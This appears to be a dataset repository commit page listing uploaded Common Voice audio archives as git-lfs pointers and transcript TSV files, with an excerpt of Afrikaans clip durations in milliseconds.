Datasets:
Add files using upload-large-folder tool
Browse filesThis view is limited to 50 files because it contains too many changes.
See raw diff
- audio/mdf/train/mdf_train_0.tar +3 -0
- audio/ml/dev/ml_dev_0.tar +3 -0
- audio/ml/test/ml_test_0.tar +3 -0
- audio/ml/train/ml_train_0.tar +3 -0
- audio/myv/invalidated/myv_invalidated_0.tar +3 -0
- audio/myv/other/myv_other_0.tar +3 -0
- audio/myv/test/myv_test_0.tar +3 -0
- audio/myv/train/myv_train_0.tar +3 -0
- audio/nb-NO/dev/nb-NO_dev_0.tar +3 -0
- audio/nb-NO/invalidated/nb-NO_invalidated_0.tar +3 -0
- audio/nb-NO/other/nb-NO_other_0.tar +3 -0
- audio/nb-NO/test/nb-NO_test_0.tar +3 -0
- audio/nb-NO/train/nb-NO_train_0.tar +3 -0
- audio/ne-NP/dev/ne-NP_dev_0.tar +3 -0
- audio/ne-NP/invalidated/ne-NP_invalidated_0.tar +3 -0
- audio/ne-NP/other/ne-NP_other_0.tar +3 -0
- audio/ne-NP/train/ne-NP_train_0.tar +3 -0
- audio/nhi/dev/nhi_dev_0.tar +3 -0
- audio/nhi/invalidated/nhi_invalidated_0.tar +3 -0
- audio/nhi/other/nhi_other_0.tar +3 -0
- audio/nhi/test/nhi_test_0.tar +3 -0
- audio/nhi/train/nhi_train_0.tar +3 -0
- audio/nn-NO/invalidated/nn-NO_invalidated_0.tar +3 -0
- audio/nn-NO/other/nn-NO_other_0.tar +3 -0
- transcript/af/clip_durations.tsv +900 -0
- transcript/af/dev.tsv +126 -0
- transcript/af/invalidated.tsv +199 -0
- transcript/af/other.tsv +0 -0
- transcript/af/reported.tsv +74 -0
- transcript/af/test.tsv +132 -0
- transcript/af/train.tsv +140 -0
- transcript/af/unvalidated_sentences.tsv +0 -0
- transcript/af/validated.tsv +0 -0
- transcript/af/validated_sentences.tsv +0 -0
- transcript/am/clip_durations.tsv +1632 -0
- transcript/am/dev.tsv +249 -0
- transcript/am/invalidated.tsv +30 -0
- transcript/am/other.tsv +0 -0
- transcript/am/reported.tsv +12 -0
- transcript/am/test.tsv +253 -0
- transcript/am/train.tsv +0 -0
- transcript/am/unvalidated_sentences.tsv +13 -0
- transcript/am/validated.tsv +0 -0
- transcript/am/validated_sentences.tsv +0 -0
- transcript/ar/clip_durations.tsv +0 -0
- transcript/ar/dev.tsv +0 -0
- transcript/ar/invalidated.tsv +0 -0
- transcript/ar/reported.tsv +0 -0
- transcript/ar/test.tsv +0 -0
- transcript/ar/train.tsv +0 -0
audio/mdf/train/mdf_train_0.tar
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:2e4ef31aebdd4c2027556e2a2e87e4397045deee6a75803dec0b3cce6969c0b3
|
| 3 |
+
size 5855232
|
audio/ml/dev/ml_dev_0.tar
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:4aa07594c32171174f25fed2500760f5fa6fadcbe0d01e4395ef78068992b220
|
| 3 |
+
size 22790144
|
audio/ml/test/ml_test_0.tar
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:7d75ef0ae4f010d1a99a17da99acf7de957997e5451556b95e5fc3d1fba8c24b
|
| 3 |
+
size 22948864
|
audio/ml/train/ml_train_0.tar
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:556e88dc90ba91a50b8ebf516029befa327ea3703db89d118a3113fb5a0a76ba
|
| 3 |
+
size 31139840
|
audio/myv/invalidated/myv_invalidated_0.tar
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:7c3c2b7f41fa44a1dcefe3742f0fa5f86426ce1f76b5d8c1f37d4b99e53d0df9
|
| 3 |
+
size 1536
|
audio/myv/other/myv_other_0.tar
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:62e1d3190003302dae7e0d946c4e5d212c4527e590d644ad97fa61ceb8acfd3a
|
| 3 |
+
size 1536
|
audio/myv/test/myv_test_0.tar
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:29d21c96d42bda4e9ae1cb59fa3cb4e6df70578f8b5ddb20274b6957ebf0a101
|
| 3 |
+
size 1536
|
audio/myv/train/myv_train_0.tar
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:55d743476bc425ec6d27f8b6cd949594dd57bf05c5da80830ee8e0f2539fff9a
|
| 3 |
+
size 1536
|
audio/nb-NO/dev/nb-NO_dev_0.tar
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:970ad55b97d15152e08564d662390b4dfbed2ec7c733e076e7c353b5619b7a47
|
| 3 |
+
size 1005568
|
audio/nb-NO/invalidated/nb-NO_invalidated_0.tar
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:6650753aa6ba898cb95342f1c13528a24d98139995c37bc8a772a386d98cec11
|
| 3 |
+
size 478720
|
audio/nb-NO/other/nb-NO_other_0.tar
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:25708e76bb6595037c0e3c7de1226dad45447083b552455df698a3378529af4e
|
| 3 |
+
size 1661440
|
audio/nb-NO/test/nb-NO_test_0.tar
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:441a17e3716c5718d096abbda8ef3481891286bc17d11232af423cf58538add1
|
| 3 |
+
size 3277824
|
audio/nb-NO/train/nb-NO_train_0.tar
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:b9504dc4e71c759461feb55c3653eccfbe33462e88af70390e2253bd5e36e69e
|
| 3 |
+
size 5440000
|
audio/ne-NP/dev/ne-NP_dev_0.tar
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:b9a482839a1cc1905ba80299be6b0427b978a39cb22ec035f94f5a27c6540d3e
|
| 3 |
+
size 7263744
|
audio/ne-NP/invalidated/ne-NP_invalidated_0.tar
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:8225eafd3b81cc125ae2e77806189d7f30dc39832e9173423a17168869f18a8f
|
| 3 |
+
size 2762240
|
audio/ne-NP/other/ne-NP_other_0.tar
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:91220f0c75b95cedd5294cf0010e46f4a6113e5d8b470b9b5e5c85a70b15ce9c
|
| 3 |
+
size 10151936
|
audio/ne-NP/train/ne-NP_train_0.tar
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:1f5b90ae5f878c8cff578c689d40b82dc6f3b93a6340f98868d7496333f0c273
|
| 3 |
+
size 8116224
|
audio/nhi/dev/nhi_dev_0.tar
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:b056a2110ecc95978fa13f7a50e0f6c05f4c5e312b7b06273a76eeda427c72fa
|
| 3 |
+
size 286208
|
audio/nhi/invalidated/nhi_invalidated_0.tar
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:038c91e017c7723bdf399885068422515d80a2e00c0d945545b5c40dd89f3d5a
|
| 3 |
+
size 1536
|
audio/nhi/other/nhi_other_0.tar
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:7eb108e761078fb53959aa76c5f568c20753e531ab0c36b4b92b8b00ced3f88b
|
| 3 |
+
size 12132864
|
audio/nhi/test/nhi_test_0.tar
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:33d23d47ff7a7c958ac95f1a0a7ee9ab68d3a518fcfcb228d51a0ce73c569ad5
|
| 3 |
+
size 180224
|
audio/nhi/train/nhi_train_0.tar
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:7fd39a60d584544c2f525cee9637742b6d5bf3bf4f00647b608c82ef49ed46a8
|
| 3 |
+
size 630784
|
audio/nn-NO/invalidated/nn-NO_invalidated_0.tar
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:b692bcc79595676752ef87053062836cc6b286242fd917f43372676d8676c98a
|
| 3 |
+
size 2366464
|
audio/nn-NO/other/nn-NO_other_0.tar
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:c689abf90e8eec77b3df62504661ed7bafec3659cc4b637f07d1af53e0ade4cd
|
| 3 |
+
size 539136
|
transcript/af/clip_durations.tsv
ADDED
|
@@ -0,0 +1,900 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
clip duration[ms]
|
| 2 |
+
common_voice_af_41654040.mp3 9216
|
| 3 |
+
common_voice_af_39022812.mp3 5220
|
| 4 |
+
common_voice_af_42396756.mp3 8388
|
| 5 |
+
common_voice_af_41646219.mp3 8856
|
| 6 |
+
common_voice_af_41655349.mp3 3096
|
| 7 |
+
common_voice_af_40426245.mp3 6948
|
| 8 |
+
common_voice_af_42733737.mp3 7668
|
| 9 |
+
common_voice_af_39005363.mp3 1800
|
| 10 |
+
common_voice_af_41652398.mp3 4320
|
| 11 |
+
common_voice_af_39022860.mp3 2232
|
| 12 |
+
common_voice_af_39597069.mp3 3096
|
| 13 |
+
common_voice_af_39022882.mp3 3276
|
| 14 |
+
common_voice_af_39022907.mp3 3492
|
| 15 |
+
common_voice_af_39809479.mp3 5688
|
| 16 |
+
common_voice_af_42432303.mp3 9108
|
| 17 |
+
common_voice_af_41654968.mp3 8208
|
| 18 |
+
common_voice_af_39005477.mp3 2376
|
| 19 |
+
common_voice_af_39812038.mp3 4932
|
| 20 |
+
common_voice_af_39809484.mp3 8676
|
| 21 |
+
common_voice_af_39016679.mp3 5220
|
| 22 |
+
common_voice_af_42733726.mp3 5976
|
| 23 |
+
common_voice_af_40406224.mp3 6516
|
| 24 |
+
common_voice_af_39005448.mp3 2088
|
| 25 |
+
common_voice_af_40437772.mp3 8316
|
| 26 |
+
common_voice_af_39005396.mp3 1980
|
| 27 |
+
common_voice_af_41654036.mp3 8028
|
| 28 |
+
common_voice_af_38091962.mp3 3240
|
| 29 |
+
common_voice_af_39597145.mp3 7308
|
| 30 |
+
common_voice_af_38086398.mp3 8496
|
| 31 |
+
common_voice_af_40447704.mp3 5868
|
| 32 |
+
common_voice_af_39005365.mp3 1800
|
| 33 |
+
common_voice_af_41796862.mp3 3636
|
| 34 |
+
common_voice_af_40437741.mp3 4716
|
| 35 |
+
common_voice_af_41652180.mp3 6300
|
| 36 |
+
common_voice_af_41654773.mp3 8388
|
| 37 |
+
common_voice_af_40328246.mp3 7740
|
| 38 |
+
common_voice_af_38086402.mp3 8496
|
| 39 |
+
common_voice_af_38089504.mp3 10224
|
| 40 |
+
common_voice_af_40437758.mp3 4716
|
| 41 |
+
common_voice_af_41652399.mp3 3816
|
| 42 |
+
common_voice_af_39053389.mp3 1728
|
| 43 |
+
common_voice_af_39597173.mp3 3636
|
| 44 |
+
common_voice_af_40406301.mp3 3528
|
| 45 |
+
common_voice_af_41652179.mp3 5976
|
| 46 |
+
common_voice_af_42432301.mp3 10008
|
| 47 |
+
common_voice_af_41654970.mp3 8676
|
| 48 |
+
common_voice_af_39005444.mp3 2016
|
| 49 |
+
common_voice_af_41673279.mp3 4968
|
| 50 |
+
common_voice_af_42393655.mp3 3780
|
| 51 |
+
common_voice_af_40419246.mp3 8388
|
| 52 |
+
common_voice_af_41650430.mp3 6120
|
| 53 |
+
common_voice_af_41654271.mp3 8316
|
| 54 |
+
common_voice_af_42432315.mp3 10440
|
| 55 |
+
common_voice_af_41622794.mp3 4356
|
| 56 |
+
common_voice_af_38088752.mp3 3420
|
| 57 |
+
common_voice_af_40328245.mp3 7848
|
| 58 |
+
common_voice_af_42393414.mp3 2988
|
| 59 |
+
common_voice_af_38086401.mp3 9036
|
| 60 |
+
common_voice_af_40406299.mp3 7668
|
| 61 |
+
common_voice_af_40328281.mp3 3888
|
| 62 |
+
common_voice_af_41654041.mp3 7272
|
| 63 |
+
common_voice_af_40328307.mp3 7308
|
| 64 |
+
common_voice_af_38087508.mp3 7956
|
| 65 |
+
common_voice_af_39812005.mp3 3240
|
| 66 |
+
common_voice_af_39612836.mp3 7416
|
| 67 |
+
common_voice_af_39005355.mp3 1980
|
| 68 |
+
common_voice_af_41654039.mp3 6732
|
| 69 |
+
common_voice_af_39597092.mp3 4104
|
| 70 |
+
common_voice_af_39631221.mp3 5436
|
| 71 |
+
common_voice_af_38091960.mp3 3780
|
| 72 |
+
common_voice_af_40406245.mp3 3960
|
| 73 |
+
common_voice_af_39597042.mp3 7596
|
| 74 |
+
common_voice_af_42433095.mp3 6660
|
| 75 |
+
common_voice_af_39667403.mp3 10260
|
| 76 |
+
common_voice_af_39631223.mp3 3600
|
| 77 |
+
common_voice_af_39022808.mp3 5076
|
| 78 |
+
common_voice_af_40406303.mp3 7380
|
| 79 |
+
common_voice_af_39022817.mp3 5544
|
| 80 |
+
common_voice_af_42744760.mp3 3024
|
| 81 |
+
common_voice_af_40437545.mp3 8208
|
| 82 |
+
common_voice_af_38090277.mp3 7272
|
| 83 |
+
common_voice_af_39022780.mp3 4644
|
| 84 |
+
common_voice_af_43426496.mp3 10980
|
| 85 |
+
common_voice_af_39005481.mp3 2520
|
| 86 |
+
common_voice_af_41652197.mp3 5256
|
| 87 |
+
common_voice_af_40126769.mp3 6660
|
| 88 |
+
common_voice_af_42716223.mp3 3528
|
| 89 |
+
common_voice_af_39005354.mp3 1980
|
| 90 |
+
common_voice_af_42433092.mp3 7020
|
| 91 |
+
common_voice_af_38087445.mp3 9468
|
| 92 |
+
common_voice_af_40447614.mp3 4716
|
| 93 |
+
common_voice_af_41654778.mp3 8460
|
| 94 |
+
common_voice_af_39005392.mp3 2016
|
| 95 |
+
common_voice_af_40405993.mp3 3240
|
| 96 |
+
common_voice_af_40726861.mp3 3888
|
| 97 |
+
common_voice_af_39022833.mp3 3744
|
| 98 |
+
common_voice_af_42393654.mp3 9000
|
| 99 |
+
common_voice_af_41690794.mp3 6588
|
| 100 |
+
common_voice_af_39667405.mp3 4680
|
| 101 |
+
common_voice_af_41681537.mp3 7776
|
| 102 |
+
common_voice_af_40405102.mp3 4716
|
| 103 |
+
common_voice_af_42733704.mp3 5796
|
| 104 |
+
common_voice_af_40405099.mp3 4248
|
| 105 |
+
common_voice_af_40280991.mp3 5508
|
| 106 |
+
common_voice_af_39631224.mp3 9324
|
| 107 |
+
common_voice_af_39005390.mp3 2376
|
| 108 |
+
common_voice_af_38087487.mp3 4716
|
| 109 |
+
common_voice_af_39022771.mp3 5904
|
| 110 |
+
common_voice_af_40437745.mp3 8928
|
| 111 |
+
common_voice_af_38088396.mp3 8676
|
| 112 |
+
common_voice_af_40419245.mp3 7668
|
| 113 |
+
common_voice_af_40405133.mp3 9216
|
| 114 |
+
common_voice_af_40328294.mp3 6768
|
| 115 |
+
common_voice_af_41654269.mp3 8028
|
| 116 |
+
common_voice_af_41681538.mp3 6408
|
| 117 |
+
common_voice_af_40437519.mp3 8136
|
| 118 |
+
common_voice_af_40437756.mp3 7056
|
| 119 |
+
common_voice_af_41673290.mp3 6228
|
| 120 |
+
common_voice_af_39005376.mp3 1728
|
| 121 |
+
common_voice_af_39022906.mp3 3276
|
| 122 |
+
common_voice_af_40727038.mp3 9180
|
| 123 |
+
common_voice_af_40126781.mp3 6480
|
| 124 |
+
common_voice_af_40727942.mp3 8316
|
| 125 |
+
common_voice_af_40437759.mp3 7308
|
| 126 |
+
common_voice_af_39022904.mp3 3420
|
| 127 |
+
common_voice_af_42394996.mp3 4068
|
| 128 |
+
common_voice_af_39022835.mp3 6084
|
| 129 |
+
common_voice_af_39053464.mp3 1800
|
| 130 |
+
common_voice_af_42396760.mp3 8316
|
| 131 |
+
common_voice_af_40126789.mp3 4068
|
| 132 |
+
common_voice_af_38090280.mp3 7632
|
| 133 |
+
common_voice_af_39809465.mp3 7524
|
| 134 |
+
common_voice_af_40328242.mp3 7380
|
| 135 |
+
common_voice_af_41650418.mp3 3528
|
| 136 |
+
common_voice_af_38086400.mp3 10116
|
| 137 |
+
common_voice_af_41652212.mp3 2808
|
| 138 |
+
common_voice_af_39005357.mp3 1800
|
| 139 |
+
common_voice_af_40406263.mp3 6300
|
| 140 |
+
common_voice_af_40437754.mp3 9936
|
| 141 |
+
common_voice_af_41681529.mp3 7956
|
| 142 |
+
common_voice_af_42432316.mp3 9936
|
| 143 |
+
common_voice_af_41652629.mp3 6804
|
| 144 |
+
common_voice_af_40435287.mp3 6408
|
| 145 |
+
common_voice_af_40399182.mp3 7020
|
| 146 |
+
